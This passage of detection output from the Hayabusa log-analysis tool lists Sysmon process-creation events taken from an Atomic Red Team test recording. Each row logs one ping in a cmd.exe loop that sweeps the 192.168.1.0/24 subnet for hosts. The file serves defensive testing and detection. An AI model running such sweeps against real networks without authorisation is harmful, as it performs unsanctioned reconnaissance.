-w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:17.511 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.86 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:18.015 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.87 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:18.509 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.88 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:18.990 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.89 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:19.541 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.90 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:20.006 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.91 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:20.543 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.92 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:21.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.93 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:21.488 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.94 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:22.030 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.95 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:22.542 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.96 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:23.037 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.97 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:23.534 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.98 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:24.026 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.99 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:24.521 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.100 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:25.035 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.101 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:25.529 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.102 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:26.007 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.103 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:26.534 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.104 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:27.040 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.105 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:27.493 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.106 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:28.017 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.107 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:28.537 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.108 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:29.110 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.109 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:29.561 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.110 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:30.054 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.111 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:30.526 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.112 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:31.015 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.113 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:31.476 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.114 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:32.005 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.115 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:32.515 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.116 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:33.004 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.117 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:33.515 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.118 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:33.900 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.119 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:34.490 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.120 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:35.031 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.121 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:35.411 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.122 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:35.999 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.123 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:36.510 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.124 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:36.905 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.125 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:37.449 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.126 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:37.947 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.127 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:38.514 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.128 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:38.992 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.129 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:39.508 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.130 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:40.034 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.131 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:40.520 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.132 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:40.960 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.133 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:41.512 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.134 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:41.967 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.135 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:42.436 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.136 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:42.881 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.137 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:43.478 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.138 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:43.951 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.139 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:44.408 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.140 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:52:44.926 